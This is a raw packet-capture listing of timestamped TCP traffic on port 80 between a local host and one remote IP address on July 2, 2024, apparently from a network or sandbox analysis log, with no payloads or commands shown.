Jul 2, 2024 22:52:31.035543919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035551071 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035553932 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035562992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.035578012 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.035614014 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.037961006 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.037969112 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.037975073 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.037982941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.037992954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038002968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038007021 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038012981 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038021088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038029909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038033009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038039923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038053036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038057089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038059950 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038062096 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038073063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038077116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038081884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038091898 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038100004 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038110018 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038110971 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038120031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038144112 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038165092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038815975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038825989 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038836002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038845062 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038853884 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038862944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038872957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038882971 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038892031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038893938 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038902044 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038912058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.038930893 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.038954020 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039608955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039618969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039628983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039638996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039648056 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039653063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039658070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039660931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039670944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039674044 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039681911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039707899 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039709091 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039722919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039731979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039736986 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039741993 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039752007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039752960 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039762020 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039772034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039781094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039783001 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039791107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039799929 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039808035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039810896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039818048 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039829016 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039830923 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039843082 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039851904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039855003 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039861917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039871931 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039875984 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039880037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.039899111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.039912939 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042649031 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042660952 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042700052 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042788029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042798042 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042807102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042830944 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042835951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042841911 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042851925 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042857885 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042860985 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042870998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042879105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042881966 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042889118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042897940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042907000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042907953 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042917013 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042924881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042926073 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042933941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042943954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042944908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042954922 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042963982 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042964935 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.042973995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042984009 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.042989969 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.043016911 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.085877895 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.121978998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.121989965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122009039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122024059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122033119 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122042894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122049093 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122051954 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122076988 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122112036 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122175932 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122397900 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122487068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122495890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122505903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122565031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122565031 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122663021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122673035 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122682095 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122690916 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122700930 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122710943 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122720957 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122725964 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122817039 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122827053 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.122948885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.122956991 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.123004913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.124896049 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.124906063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.124916077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.124965906 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.124979019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.124989033 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.124996901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.124998093 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125025034 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.125061035 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.125232935 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125242949 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125269890 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125279903 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125289917 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125293970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.125298977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125308037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.125334978 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.126590967 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126621008 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.126744032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126753092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126801968 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.126802921 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.126868963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126945019 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126955032 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126964092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.126974106 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127089977 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127099037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127109051 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127116919 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127118111 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.127127886 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127141953 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127142906 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.127167940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.127616882 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127625942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127636909 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127746105 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127757072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.127774954 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128351927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128361940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128371000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128376007 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128544092 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128566027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128571987 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128576040 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128586054 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128602028 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128774881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128783941 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128803015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128864050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128874063 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128884077 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128890991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128894091 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128906965 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128916979 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128925085 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.128926992 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128938913 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.128964901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.129215002 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.129225969 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.129235029 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.129244089 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.129245996 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.129254103 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.129264116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.129280090 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130055904 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130067110 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130076885 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130084991 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130085945 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130098104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130105019 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130108118 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130116940 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130124092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130125999 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130135059 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130143881 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130146980 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130153894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130163908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130163908 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130163908 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130177975 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130187988 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130198956 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.130203009 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.130208015 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.131926060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131937027 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131951094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131961107 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131967068 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131975889 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131979942 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.131980896 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.131990910 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132000923 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132009983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132015944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.132019997 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132029057 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132036924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.132036924 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.132039070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132050037 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.132076025 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.132695913 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.134995937 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135006905 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135016918 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135098934 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.135426998 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135436058 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135446072 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135457039 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.135461092 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.135495901 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.180126905 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.210746050 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210818052 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210828066 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210841894 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210855007 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210865021 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210875034 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210880995 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.210884094 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.210907936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.210907936 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.211015940 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.211467028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211477995 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211487055 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211496115 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211504936 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211514950 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211524963 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211532116 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.211550951 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.211611986 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211622000 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211631060 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211638927 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211647987 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211658001 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211658955 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.211668968 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211678028 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.211685896 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.211695910 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213349104 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213398933 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213412046 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213423014 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213468075 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213478088 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213488102 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213495970 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213498116 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213515997 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213650942 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213659048 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213660955 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213670015 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213680983 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213690996 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213696957 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213701010 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213710070 CEST	80	49712	77.221.149.185	192.168.2.5
Jul 2, 2024 22:52:31.213722944 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.213799000 CEST	49712	80	192.168.2.5	77.221.149.185
Jul 2, 2024 22:52:31.215125084 CEST	80	49712	77.221.149.185	192.168.2.5
